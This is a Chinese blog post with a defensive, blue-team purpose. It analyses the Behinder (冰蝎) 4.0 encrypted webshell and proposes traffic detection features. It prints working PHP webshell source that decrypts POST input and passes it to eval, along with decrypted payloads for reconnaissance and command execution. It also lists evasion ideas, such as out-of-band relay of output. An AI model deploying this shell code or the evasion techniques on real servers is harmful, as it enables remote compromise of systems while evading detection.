冰蝎 4.0 简介

冰蝎是一款基于 Java 开发的动态加密通信流量的新型 Webshell 客户端。老牌 Webshell 管理神器——中国菜刀的攻击流量特征明显,容易被各类安全设备检测,实际场景中越来越少使用,加密 Webshell 正变得日趋流行。

由于通信流量被加密,传统的 WAF、IDS 设备难以检测,给威胁狩猎带来较大挑战。冰蝎其最大特点就是对交互流量进行对称加密,且加密密钥是由随机数函数动态生成,因此该客户端的流量几乎无法检测。

新旧版本对比

冰蝎 v4.0 相对于 v3.0 版本,更新了较多内容,其中最大的更新点就是开放了传输协议的自定义功能。

在流量层,冰蝎的 aes 特征一直是厂商查杀的重点,在主机层,aes 相关的 API 也是一个强特征。既然是特征,那就一定存在一个一成不变的常量,因此冰蝎的作者将这个特征泛化,让它成为变量。为了一劳永逸解决这个问题,v4.0 版本提供了传输协议自定义功能,让用户对流量的加密和解密进行自定义,实现流量加解密协议的去中心化。v4.0 版本不再有连接密码的概念,用户的自定义传输协议的算法就是连接密码。

接下来演示,选择传输协议为 default_xor_base64,传输协议的加密函数是用 Java 写的,并且 key 是默认的,不需要自己修改。选择传输协议后点击 生成服务端,则会生成 shell 文件,分别为 shell.php 和 shell.jsp。

起个环境然后连上 shell:

查看 default_xor_base64 传输协议生成的 shell.php,代码如下,此处代码和 v3.0 的相当不一样。

v4.0 default_xor_base64 代码:

<?php
@error_reporting(0);
function Decrypt($data)
{
    $key="e45e329feb5d925b"; 
    $bs="base64_"."decode";
	$after=$bs($data."");
	for($i=0;$i<strlen($after);$i++) {
    	$after[$i] = $after[$i]^$key[$i+1&15]; 
    }
    return $after;
}
$post=Decrypt(file_get_contents("php://input"));
eval($post);
?>

这里的 key 就是对应的连接密码,在冰蝎 4.0 的传输协议中,可以自定义密码。

v3.0 代码:

<?php
@error_reporting(0);
session_start();
    $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
    $_SESSION['k']=$key;
    session_write_close();
    $post=file_get_contents("php://input");
    if(!extension_loaded('openssl'))
    {
        $t="base64_"."decode";
        $post=$t($post."");
        
        for($i=0;$i<strlen($post);$i++) {
                 $post[$i] = $post[$i]^$key[$i+1&15]; 
                }
    }
    else
    {
        $post=openssl_decrypt($post, "AES128", $key);
    }
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
    class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
?>

v3.0 和 v4.0 的区别很明显在于这里 $_SESSION['k']=$key,v3.0 版本当中会把 key 作为 session 传入;接着判断 extension_loaded,也就是判断服务端是否存在 openssl 拓展,如果不存在就用 base64 解码,然后使用 key 进行异或加密,这也是冰蝎 v4.0 版本当中的 xor_base64 加密方式;如果服务端能够加载 openssl 拓展,就使用 AES128 解密,这里对应冰蝎 v4.0 版本当中的 aes 加密方式。

通信原理

冰蝎 4.0 通信流程如下:

  1. 本地选择加密算法,生成服务端 Webshell,加密算法对 Payload 进行加密,然后数据通过 POST 请求发送给远程服务端;

  1. 服务端收到 Payload 密文后,利用解密算法进行解密;
  2. 服务端执行解密后的 Payload,并获取执行结果;
  3. 服务端对 Payload 执行结果进行加密,然后返回给本地客户端;
  4. 客户端收到响应密文后,利用解密算法解密,得到响应内容明文。

流量分析

打开 wireshark 监听对应网卡,笔者选取的是 default_xor_base64 的加密方式,在连上 webshell 之后还执行了id命令,如果不算上自己的命令执行,一共是两组流量,我们来分析一下,在 wireshark 中选取对应的 HTTP 流量并右键,选择追踪 HTTP 流:

ps:若靶机使用 docker 搭建可直接监听 docker 网卡,这样流量数据相对纯净。

第一组流量

首先看第一组的 POST 请求内容,将其复制到冰蝎使用对应协议进行解密,得到如下结果:

@error_reporting(0);
function main($content)
{
    $result = array();
    $result["status"] = base64_encode("success");
    $result["msg"] = base64_encode($content);
    @session_start();  //初始化session,避免connect之后直接background,后续getresult无法获取cookie
    echo encrypt(json_encode($result));
}
function Encrypt($data)
{
    $key="e45e329feb5d925b";
    for($i=0;$i<strlen($data);$i++) {
        $data[$i] = $data[$i]^$key[$i+1&15];
    }
    $bs="base64_"."encode";
    $after=$bs($data."");
    return $after;
}
$content="aGdNQ1ZUd1VBRTlNZEwyZkNEem9kenVSZ0NVT091SHdtTG40bjRnVDR6OFdKU2NlWHRINXJVRndaOXRRMnFrM0ZFSW9GcmJrZlA4dks2ZTJVMlBiMTFKcFZFbGpseVhNSVY0Vzg1QUFSTDNoM3ZYMTB2UjZlWmVHV3RhMWdVYTI2cUdXT0FxQlE3Umtmc3B6QmpDOEd2RHZid2lSWlBHU1VaVVE5bHZIRmxodE1VZUhpQTUySlE2czU3Q05LZlM4VFpZdnpJUDdPT05FNWh0aGg3NXNqSlFmcU54RkF4MXJlZTR2cUFXQ0NPUkRPWWZEaFNCVzBZYWM4QXhVRnN2TUtJOXFGbzBMNHRSTHd1WUN5TmlTTVV1bWFRSW04NjY2T2FXbG9NSFY5cnhNSHVrZHJrZDlSR1kzakZoSG9DUmRLZkpVdzE0cVZ5aDVBNUd5Wml0eTVuYjNXYkdSUlFkREdyOVZDdHBiZ21ERU5vdGVmaEhRQUU4bEI4RHZ2NEcybFQySlM4dnRua0pFVTYybXF6OTNVenp5SmhkMWt1T0RaTmVxZG9sZ1JlZFFqbDVUSHNvUHYzSlUwa3BYNE9RUTd4Y3V6dnBFdjJGNWtPNHVoODFheDVYQWR0MU1Mdjc5RkZZZTB5RUs0WUxsTElVSEg2UHphRzkzZ0JIVWZkWWIyc3gweVREV2FjWW9rbEFTdVRMZjBaMXlTOUt3TzdGWmF3TzR2ak15bkZNMVB1a2M1dE1EcUc0eEdqV2VRVWNDR0QzTm9GdGlRbkxpWmh1c2gxYmhzQWhoRmdDRW81ZUZuWEVqdldsMHUyT0hhUFczR2tIWlpVUURkRUIyRFRxaWVpdDJ0NHdNNjJ3VFJBb0lCc3g3RWhrTnVaU3NOa2VqOEhEakhhWjJPUERhR204dHdhVGJoeVdZN2UyZnBaZ3QwdTBLYm9QQ0hEdmt4WXgwcXJpUVZ6cXpERlM4ZFhTMkRaQWJ4ZUN1TXlRQjN1aU1KNUUzOXpNMWF6bmh5eDJ5WWlaWUp5MWtDM2hNY2xZbndhMXJweURVdzk4ZGVLNHphZjdWdzFVWVZFcmpqMVBoNnMyY3A2R2NVTldUU2FmYVRTZ0Z2NThQR2ZDU2htSG15WmpRYnpGc0wzUjhRbWlRbVBKekRCV05UejBDVUxVbmpzYkJicGc5eTBHeUNmTkFiNTRqRFhvaTVhRTVJRUJ4OER0VTRYQ2NsQ3pYQXVFZWRhdkZSTGMxRHlNUFBhMVRrWVRpQnJTaXZsYVJDVWh6Qzg3ZFAyZERBVDZ5ZlQ5Rm9QMWFta25EY0IySFF4RUVQZ201bDRZNjkzY1plWWFHVFZsdTFOdnVXSXFkNDB4MU9DMEtvR0RYZVkyZDJldkhJV3k2NE9DMll3cXJFZ3JsOGJ6VnAydnRhOEU4VnROeXdCNVFXbUI5RUFtTzBZdGhmTng3d21WenQ0RlVuYVpzR2hXdGRQM2VVNEgwcTE5dFVVb1M0QVh3ZXFweHhTRmdwaHBiSlhCbWg0ZlJCUTdFbVdVYVgzaklhMHNYWHFFbWxlRWd0UkRsa1N1VWpIT2Y0dTZGREJnUGNPV0RBSnBaMWlJM255ZkVDaUI1Yk5YU1pldm1DZGptYUlzMTJiOGN6TXVhMkFxMFduQmNsRlhjaXQ2S0g2b3lEYmx6Mlh4UXY2bVppYndwZFQ0azBRcTYwRm1xT0JKa1dKWGE4RFZEWXF1a0psaU1FOEkzaWJlTEhtcXFtZ1I5QXEzSVVQSE93SUxJTk9EY3BVWUZReVFmaWhLTXJXRHZ1VWxSUnR5cUo5UWdtR2hMRmhtZnhPajFWQ3JXdlZtblBHWElscmVOQXBySG9PaFNnVEN6NXFuNFJIVHFINVN3QjRlUlZjZnNVT0VUbGVWcUIxT1oyamNLdU1ROUhnSnE0WHN3TjhRWGVJTjZEOTg2YTllZDJlbmNqVmJhQ2tudm91SU1COFlwUkJkZUZWT09hWjNaWkF2S2FFTzdTS2lzekwyVnB0Rm55cURDN3dLYmRyV3ZuelpMbzdxU25PcWJLMGE5OVNuYzBQZFJNZ0ZZSTFHVmtXam8xN285SmhlNjBjMTJVb3ZSZmNwMEVYeFhsSzhLWlVSTTQwcmF6Q2dqc1BPRlE3ZW1PNXkxaDNscnJXR1Z6T1drOFlvYTNNaElsZnhsZ29nZEJhZXVRclhlaGpZNVVMbG15b1VmQUFTMW9rZVRTQzRSVnY3RGRjbGh3NVRwZGhpRmJUYVhwRUxpcmlNTmVjUmhTTUhDTDhhMjU2OUtKVkhETVByNUFOZ05YamxOUHA1MFRnMFViVnY3RmpVYktvYWJRVlFkMllPOG5Rb2JGRllOUzVvazFrUktCYzFaMWlKbzh2UUh5WnlESWZlUzk3Ykd1bkxSajFJR1Zob1RJYVlPQjlUZ2F0TW1vQWtUOFFCZVBiWWhSaDJLc1NSVDdPeXJiSVBTdUNKOXAzWUI2WnFRYVFtcUR6aDlBTmtwa2xRektvRnRnYjIzMkVLSTBqaE11TUFtUEZ6VmNwbkc5ckMwM2NMWTJBdmgxMEVFUEF6alNTQm9UU2VvdnlVUUk3c3ZPdHZMUlJRaGk3b1hMSllPdmU2enFTejNHR3o4bE04bEhTRzJpUGs4dkhUUkFkNkZPdUxhNXJZUUY3YkNpMlM1UXNTZW5nRUNpTVBaYU5hcDBEY1o2Vmd6RHhKaXh5QUZFVkxmUlRNMjhHZmhwZ2J2V2ZBYVV3aTJMY3dHd3hWQXRtSWJyWUJWM2duUGdpUmxuZzY3d25VSHlNTnVYQ3VsUlZPdDlzOEtIUWprMFU3V2RrYVZVeWo4cFVMZENlbjRUMG54OGU1YUQ4NjA1cGtYeG40dzNDZkJWOE93OTl3a1NwNzlXS2NoQ0VCc0lnMml6WEg4OWc4U2hHN3RUU1dlVjFwNU5oVUhxeVNNYW9ITzhXSnlzcFVWd0ZPMHNaT0hweXVzOUN5cm1UNU9YcUU4dUpPZ2F5bk1INTFOWGtOVFJyS3FaeWtFRVk1dEdsNDRlV1pvMXY1djVpUG9ranpRSWRGQlRrRDdjcEdqSlpwck1CejZZOTNtaGFhMkFPZXE3WmdPd0VLSGxkZWFzaEJzNExZbnpUV0JhTGJCZndIa05hVHZTNXZ3Nng4V3hRVmF2TUtLczBMVzFMNTh0eEp3Y2t1dzUzYTBjRFBERUdpZmtWZUVoTHVLaXU1dEV3YXlseXlFVG1LS1U4ZGdsNkJXY2hXTDVnOXJDalFPcWtVbjZPbWpKd21pOU5VcWNRcVFpUXRUNGVnTG40bDRoWVlnaUVBZnY3b0dVQzBmN2d0WG5hdkdDc3N4TUpPWEhVYk9UNUliVWlZQUk3aWw4UUpjQWk2aFIzaTZmVXR0RTM0dnFQeHhtamxVb25yNmJNaG5meWJ6cElCNGZMWUdNVm5Xa0R2aEY1YXdWWGxZbUhGRjJ3ajNKdFAyRlJYUFJtUVNrUWd1aVAzZ0V6b1NmSllBRUN1MUJCNEJ5ZWc0N0V5VjN5Rmc1RTNEcFEzT0N6TGVBOHFQaU5PMGxzVmxEMnFVd2pGdlZyYmdiSXZJbFFmZGxTUXJQUXpzclhqWHVLcTBPU1lLTnFWa0daY2JEdnpPWDBndEd0bFhwZEswd2VTQ09wV1J4ZVVTYmNLSGlCcVF6SnlpNHVCSmt4aTJjZHlPMUlnMmFzb3lJN05KRDZ4TVVmN21tZ3VkMWRhN3VHS0NhVElGMTA=";
$content=base64_decode($content);
main($content);

这一个包涵盖了密钥协商的部分,并且在这一个包之后重置了$_session

接着我们往下看响应报文,响应报文经过 xor_base64 解密之后结果如下:

{
"status":"c3VjY2Vzcw==",
"msg":"aGdNQ1ZUd1VBRTlNZEwyZkNEem9kenVSZ0NVT091SHdtTG40bjRnVDR6OFdKU2NlWHRINXJVRndaOXRRMnFrM0ZFSW9GcmJrZlA4dks2ZTJVMlBiMTFKcFZFbGpseVhNSVY0Vzg1QUFSTDNoM3ZYMTB2UjZlWmVHV3RhMWdVYTI2cUdXT0FxQlE3Umtmc3B6QmpDOEd2RHZid2lSWlBHU1VaVVE5bHZIRmxodE1VZUhpQTUySlE2czU3Q05LZlM4VFpZdnpJUDdPT05FNWh0aGg3NXNqSlFmcU54RkF4MXJlZTR2cUFXQ0NPUkRPWWZEaFNCVzBZYWM4QXhVRnN2TUtJOXFGbzBMNHRSTHd1WUN5TmlTTVV1bWFRSW04NjY2T2FXbG9NSFY5cnhNSHVrZHJrZDlSR1kzakZoSG9DUmRLZkpVdzE0cVZ5aDVBNUd5Wml0eTVuYjNXYkdSUlFkREdyOVZDdHBiZ21ERU5vdGVmaEhRQUU4bEI4RHZ2NEcybFQySlM4dnRua0pFVTYybXF6OTNVenp5SmhkMWt1T0RaTmVxZG9sZ1JlZFFqbDVUSHNvUHYzSlUwa3BYNE9RUTd4Y3V6dnBFdjJGNWtPNHVoODFheDVYQWR0MU1Mdjc5RkZZZTB5RUs0WUxsTElVSEg2UHphRzkzZ0JIVWZkWWIyc3gweVREV2FjWW9rbEFTdVRMZjBaMXlTOUt3TzdGWmF3TzR2ak15bkZNMVB1a2M1dE1EcUc0eEdqV2VRVWNDR0QzTm9GdGlRbkxpWmh1c2gxYmhzQWhoRmdDRW81ZUZuWEVqdldsMHUyT0hhUFczR2tIWlpVUURkRUIyRFRxaWVpdDJ0NHdNNjJ3VFJBb0lCc3g3RWhrTnVaU3NOa2VqOEhEakhhWjJPUERhR204dHdhVGJoeVdZN2UyZnBaZ3QwdTBLYm9QQ0hEdmt4WXgwcXJpUVZ6cXpERlM4ZFhTMkRaQWJ4ZUN1TXlRQjN1aU1KNUUzOXpNMWF6bmh5eDJ5WWlaWUp5MWtDM2hNY2xZbndhMXJweURVdzk4ZGVLNHphZjdWdzFVWVZFcmpqMVBoNnMyY3A2R2NVTldUU2FmYVRTZ0Z2NThQR2ZDU2htSG15WmpRYnpGc0wzUjhRbWlRbVBKekRCV05UejBDVUxVbmpzYkJicGc5eTBHeUNmTkFiNTRqRFhvaTVhRTVJRUJ4OER0VTRYQ2NsQ3pYQXVFZWRhdkZSTGMxRHlNUFBhMVRrWVRpQnJTaXZsYVJDVWh6Qzg3ZFAyZERBVDZ5ZlQ5Rm9QMWFta25EY0IySFF4RUVQZ201bDRZNjkzY1plWWFHVFZsdTFOdnVXSXFkNDB4MU9DMEtvR0RYZVkyZDJldkhJV3k2NE9DMll3cXJFZ3JsOGJ6VnAydnRhOEU4VnROeXdCNVFXbUI5RUFtTzBZdGhmTng3d21WenQ0RlVuYVpzR2hXdGRQM2VVNEgwcTE5dFVVb1M0QVh3ZXFweHhTRmdwaHBiSlhCbWg0ZlJCUTdFbVdVYVgzaklhMHNYWHFFbWxlRWd0UkRsa1N1VWpIT2Y0dTZGREJnUGNPV0RBSnBaMWlJM255ZkVDaUI1Yk5YU1pldm1DZGptYUlzMTJiOGN6TXVhMkFxMFduQmNsRlhjaXQ2S0g2b3lEYmx6Mlh4UXY2bVppYndwZFQ0azBRcTYwRm1xT0JKa1dKWGE4RFZEWXF1a0psaU1FOEkzaWJlTEhtcXFtZ1I5QXEzSVVQSE93SUxJTk9EY3BVWUZReVFmaWhLTXJXRHZ1VWxSUnR5cUo5UWdtR2hMRmhtZnhPajFWQ3JXdlZtblBHWElscmVOQXBySG9PaFNnVEN6NXFuNFJIVHFINVN3QjRlUlZjZnNVT0VUbGVWcUIxT1oyamNLdU1ROUhnSnE0WHN3TjhRWGVJTjZEOTg2YTllZDJlbmNqVmJhQ2tudm91SU1COFlwUkJkZUZWT09hWjNaWkF2S2FFTzdTS2lzekwyVnB0Rm55cURDN3dLYmRyV3ZuelpMbzdxU25PcWJLMGE5OVNuYzBQZFJNZ0ZZSTFHVmtXam8xN285SmhlNjBjMTJVb3ZSZmNwMEVYeFhsSzhLWlVSTTQwcmF6Q2dqc1BPRlE3ZW1PNXkxaDNscnJXR1Z6T1drOFlvYTNNaElsZnhsZ29nZEJhZXVRclhlaGpZNVVMbG15b1VmQUFTMW9rZVRTQzRSVnY3RGRjbGh3NVRwZGhpRmJUYVhwRUxpcmlNTmVjUmhTTUhDTDhhMjU2OUtKVkhETVByNUFOZ05YamxOUHA1MFRnMFViVnY3RmpVYktvYWJRVlFkMllPOG5Rb2JGRllOUzVvazFrUktCYzFaMWlKbzh2UUh5WnlESWZlUzk3Ykd1bkxSajFJR1Zob1RJYVlPQjlUZ2F0TW1vQWtUOFFCZVBiWWhSaDJLc1NSVDdPeXJiSVBTdUNKOXAzWUI2WnFRYVFtcUR6aDlBTmtwa2xRektvRnRnYjIzMkVLSTBqaE11TUFtUEZ6VmNwbkc5ckMwM2NMWTJBdmgxMEVFUEF6alNTQm9UU2VvdnlVUUk3c3ZPdHZMUlJRaGk3b1hMSllPdmU2enFTejNHR3o4bE04bEhTRzJpUGs4dkhUUkFkNkZPdUxhNXJZUUY3YkNpMlM1UXNTZW5nRUNpTVBaYU5hcDBEY1o2Vmd6RHhKaXh5QUZFVkxmUlRNMjhHZmhwZ2J2V2ZBYVV3aTJMY3dHd3hWQXRtSWJyWUJWM2duUGdpUmxuZzY3d25VSHlNTnVYQ3VsUlZPdDlzOEtIUWprMFU3V2RrYVZVeWo4cFVMZENlbjRUMG54OGU1YUQ4NjA1cGtYeG40dzNDZkJWOE93OTl3a1NwNzlXS2NoQ0VCc0lnMml6WEg4OWc4U2hHN3RUU1dlVjFwNU5oVUhxeVNNYW9ITzhXSnlzcFVWd0ZPMHNaT0hweXVzOUN5cm1UNU9YcUU4dUpPZ2F5bk1INTFOWGtOVFJyS3FaeWtFRVk1dEdsNDRlV1pvMXY1djVpUG9ranpRSWRGQlRrRDdjcEdqSlpwck1CejZZOTNtaGFhMkFPZXE3WmdPd0VLSGxkZWFzaEJzNExZbnpUV0JhTGJCZndIa05hVHZTNXZ3Nng4V3hRVmF2TUtLczBMVzFMNTh0eEp3Y2t1dzUzYTBjRFBERUdpZmtWZUVoTHVLaXU1dEV3YXlseXlFVG1LS1U4ZGdsNkJXY2hXTDVnOXJDalFPcWtVbjZPbWpKd21pOU5VcWNRcVFpUXRUNGVnTG40bDRoWVlnaUVBZnY3b0dVQzBmN2d0WG5hdkdDc3N4TUpPWEhVYk9UNUliVWlZQUk3aWw4UUpjQWk2aFIzaTZmVXR0RTM0dnFQeHhtamxVb25yNmJNaG5meWJ6cElCNGZMWUdNVm5Xa0R2aEY1YXdWWGxZbUhGRjJ3ajNKdFAyRlJYUFJtUVNrUWd1aVAzZ0V6b1NmSllBRUN1MUJCNEJ5ZWc0N0V5VjN5Rmc1RTNEcFEzT0N6TGVBOHFQaU5PMGxzVmxEMnFVd2pGdlZyYmdiSXZJbFFmZGxTUXJQUXpzclhqWHVLcTBPU1lLTnFWa0daY2JEdnpPWDBndEd0bFhwZEswd2VTQ09wV1J4ZVVTYmNLSGlCcVF6SnlpNHVCSmt4aTJjZHlPMUlnMmFzb3lJN05KRDZ4TVVmN21tZ3VkMWRhN3VHS0NhVElGMTA="}

这里响应包中的 msg 和第一个包里的 content 内容是相同的,其实这一部分就是在做密钥协商。经过 base64 解密,status 的内容对应的是 success,证明能够收到这个包,并且和前面对照上。

由上述第一组流量的分析可知,在第一次传输的时候,做了密钥协商与指纹确认的事情,冰蝎需要先确定“你”(受害者)确实是能够和“我”(攻击者)进行加解密,或者说可以进行数据传输,这也就是第一次发包。

第二组流量

继续分析下一组包,解密后代码如下,这里就进行了命令执行:

error_reporting(0);
function main($whatever)
{
    $result = array();
    ob_start(); phpinfo();
    $info = ob_get_contents();
    ob_end_clean();
    $driveList ="";
    if (stristr(PHP_OS,"windows")||stristr(PHP_OS,"winnt")){
        for($i=65;$i<=90;$i++)
        {
            $drive=chr($i).':/';
            file_exists($drive) ? $driveList=$driveList.$drive.";":'';    
        }    
    }
    else{
        $driveList="/";
    }    
    $currentPath=getcwd();
    //echo "phpinfo=".$info."\n"."currentPath=".$currentPath."\n"."driveList=".$driveList;    
    $osInfo=PHP_OS;    
    $arch="64";    
    if (PHP_INT_SIZE == 4) {        
        $arch = "32";    
    }    
    $localIp=gethostbyname(gethostname());    
    if ($localIp!=$_SERVER['SERVER_ADDR'])    
    {        
        $localIp=$localIp." ".$_SERVER['SERVER_ADDR'];    
    }    
    $extraIps=getInnerIP();    
    foreach($extraIps as $ip)    
    {        
        if (strpos($localIp,$ip)===false)        
        {         
            $localIp=$localIp." ".$ip;        
        }    
    }    
    $basicInfoObj=array(
        "basicInfo"=>base64_encode($info),
        "driveList"=>base64_encode($driveList),
        "currentPath"=>base64_encode($currentPath),
        "osInfo"=>base64_encode($osInfo),
        "arch"=>base64_encode($arch),
        "localIp"=>base64_encode($localIp));    
        //echo json_encode($result);    
        $result["status"] = base64_encode("success");    
        $result["msg"] = base64_encode(json_encode($basicInfoObj));    
        //echo json_encode($result);    
        //echo openssl_encrypt(json_encode($result), "AES128", $key);    
        echo encrypt(json_encode($result));
    }
    function getInnerIP(){
        $result = array();
        if (is_callable("exec")){
            $result = array();    
            exec('arp -a',$sa);    
            foreach($sa as $s)    
            {        
                if (strpos($s,'---')!==false){
                    $parts=explode(' ',$s);
                    $ip=$parts[1];
                    array_push($result,$ip);
                }
                //var_dump(explode(' ',$s));           
                // array_push($result,explode(' ',$s)[1]);    
            }
        }
        return $result;
    }
    function Encrypt($data){    
        $key="e45e329feb5d925b"; 
        for($i=0;$i<strlen($data);$i++) {    
            $data[$i] = $data[$i]^$key[$i+1&15];     
        }    
        $bs="base64_"."encode";$after=$bs($data."");    
        return $after;
    }
    $whatever="SHUyVDM2Y1hEUDhTT3pzUjVMSjU5VjdrbnByc2FiOGM0MEVJU3FhS3VIakhCaWlVV0FBUVdtdXpJN3hFZ1Z2ck1CUk9YN1dPaHdXM0p2aDdjU3NUWktoWmdldktDMzU0bkVmZ1A5M2thcWNMMWZYRmhWRlFJN1dIZkpRcVAzSXdUazY0ZWN6NGhpT0RVSzZrcnJoNWEyNUxUZnQz"
    $whatever=base64_decode($whatever);
    main($whatever);

这个脚本本质上还是在做phpinfo()的命令执行,结尾的$whatever是一个随机数增加溯源难度。

接着将响应包解密:

{
"status":"c3VjY2Vzcw==",
"msg":"篇幅过长,略"
}

将这一串msg内容放入 burp 进行二次 base64 解密,不难发现响应内容其实就是phpinfo()的命令回显:

结合第一组、第二组流量得知,在第一次内容传输结束之后,冰蝎确认受害者与攻击者可以建立传输,才会发第二次包,也就是执行phpinfo()命令。

第三组流量

最后一组是id命令执行的流量,将请求包解密如下:

@error_reporting(0);
function getSafeStr($str){
    $s1 = iconv('utf-8','gbk//IGNORE',$str);
    $s0 = iconv('gbk','utf-8//IGNORE',$s1);
    if($s0 == $str){
        return $s0;
    }else{
        return iconv('gbk','utf-8//IGNORE',$str);
    }
}
function main($cmd,$path){
    @set_time_limit(0);
    @ignore_user_abort(1);
    @ini_set('max_execution_time', 0);
    $result = array();
    $PadtJn = @ini_get('disable_functions');
    if (! empty($PadtJn)) {
        $PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);
        $PadtJn = explode(',', $PadtJn);
        $PadtJn = array_map('trim', $PadtJn);
    } else {
        $PadtJn = array();
    }
    $c = $cmd;
    if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {
        $c = $c . " 2>&1\n";
    }
    $JueQDBH = 'is_callable';
    $Bvce = 'in_array';
    if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) {
        ob_start();
        system($c);
        $kWJW = ob_get_contents();
        ob_end_clean();
    } else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) {
        $handle = proc_open($c, array(
            array(
                'pipe',
                'r'
            ),
            array(
                'pipe',
                'w'
            ),
            array(
                'pipe',
                'w'
            )
        ), $pipes);
        $kWJW = NULL;
        while (! feof($pipes[1])) { 
            $kWJW .= fread($pipes[1], 1024);
        }
        @proc_close($handle);
    } else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) {
        ob_start();
        passthru($c);
        $kWJW = ob_get_contents();
        ob_end_clean();
    } else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) {
        $kWJW = shell_exec($c);
    } else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) {
        $kWJW = array();
        exec($c, $kWJW);
        $kWJW = join(chr(10), $kWJW) . chr(10);
    } else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) {
        $fp = popen($c, 'r');
        $kWJW = NULL;
        if (is_resource($fp)) {
            while (! feof($fp)) {
                $kWJW .= fread($fp, 1024);
            }
        }
        @pclose($fp);
    } else {
        $kWJW = 0;
        $result["status"] = base64_encode("fail");
        $result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");
        $key = $_SESSION['k'];
        echo encrypt(json_encode($result));
        return;
    }
    $result["status"] = base64_encode("success");
    $result["msg"] = base64_encode(getSafeStr($kWJW));
    echo encrypt(json_encode($result));
}
function Encrypt($data){
        $key="e45e329feb5d925b";
        for($i=0;$i<strlen($data);$i++) {
            $data[$i] = $data[$i]^$key[$i+1&15];
        }
        $bs="base64_"."encode";$after=$bs($data."");
        return $after;
}
$cmd="Y2QgL2FwcC9oYWNrYWJsZS91cGxvYWRzLyA7aWQ=";
$cmd=base64_decode($cmd);
$path="L2FwcC9oYWNrYWJsZS91cGxvYWRzLw==";
$path=base64_decode($path);
main($cmd,$path);

其中$cmd经过 base64 解密为:cd /app/hackable/uploads/ ;id
其中$path经过 base64 解密为:/app/hackable/uploads/

响应包内容解密如下:

{
    "status":"c3VjY2Vzcw==",
    "msg":"dWlkPTMzKHd3dy1kYXRhKSBnaWQ9MzMod3d3LWRhdGEpIGdyb3Vwcz0zMyh3d3ctZGF0YSkK"
}

其中msg经过 base64 解密为:uid=33(www-data) gid=33(www-data) groups=33(www-data)

流量特征

经过对其通信原理的了解以及流量分析,不难看出冰蝎 4.0 在经过多次迭代后,几乎已经没有明显的流量特征,而此次开放了自定义传输协议功能,更是加大了安全厂商对其流量的解密难度,笔者认为,针对特征检测,不应该是针对单一的某个 Accept 或者 User-Agent 或者是某一 Payload 开头等进行单一的判断,而应该是经过综合考量,采用恶意性评分机制,进而得出结论。

我们先来看到冰蝎在第二次请求时也就是请求phpinfo()时的包:

得出以下几个特征:

  • HTTP 请求头
    冰蝎的几个 HTTP 请求头通常是固定的,所以这里可以作为一个主判断点:
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Content-type: application/x-www-form-urlencoded
Accept-Encoding: gzip
  • Content-Length
    显然其数值相对常规的较大,可以作为辅助特征进行检测:Content-Length: 5824

  • 长连接
    冰蝎通讯默认使用长连接,避免了频繁的握手造成的资源开销。默认情况下,请求头和响应头里会带有Connection: Keep-Alive,可将其作为辅助特征进行检测。

  • PHP webshell 中存在固定代码
    可以将eval($post)作为流量特征纳入。

$post=Decrypt(file_get_contents(“php://input”));
eval($post);
  • 默认密钥
    在使用默认密钥进行连接时,所有响应头都相同,另外第二次请求头比较特殊,除此之外,所有的请求头都相同。
    第一次请求:dFAXQV1LORcHRQtLRlwMAhwFTAg/M
    解密为:@error_reporting(0);\r

Bypass思路

  1. 加密解密算法,除了默认的 AES,可以使用 DES、3DES、TDEA、Blowfish、Twofish、RC2、RC4、RC5、IDEA、SKIPJACK 等对称加密算法;
  2. 去除 base64 编码特征,请求体和响应体数据随机产生不定长度的额外字节数组;
  3. 去除请求头 User-Agent、Accept、Referer、Content-type 等特征;
  4. 请求包以 json 格式参数,响应体数据返回 json 格式或者 html 格式,数据可以拆散隐藏在 html 标签中;
  5. 修改请求协议,使用 HEAD 协议,长度较小的 paylaod 放到 header 执行,Shell 返回 404,响应数据通过 ceye 类似接口进行中转或者通过服务器可访问的目录图片中转;
  6. 客户端不定时发送不定长度的垃圾数据;
  7. 基于 sessionID 生成密钥、payload 参数名、分隔符等;
  8. 使用 Java 底层函数绕 OpenRASP;
  9. webshell 免杀。
文章作者: z0sen
版权声明: 本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 z0sen's Blog
默认分类 蓝队
喜欢就支持一下吧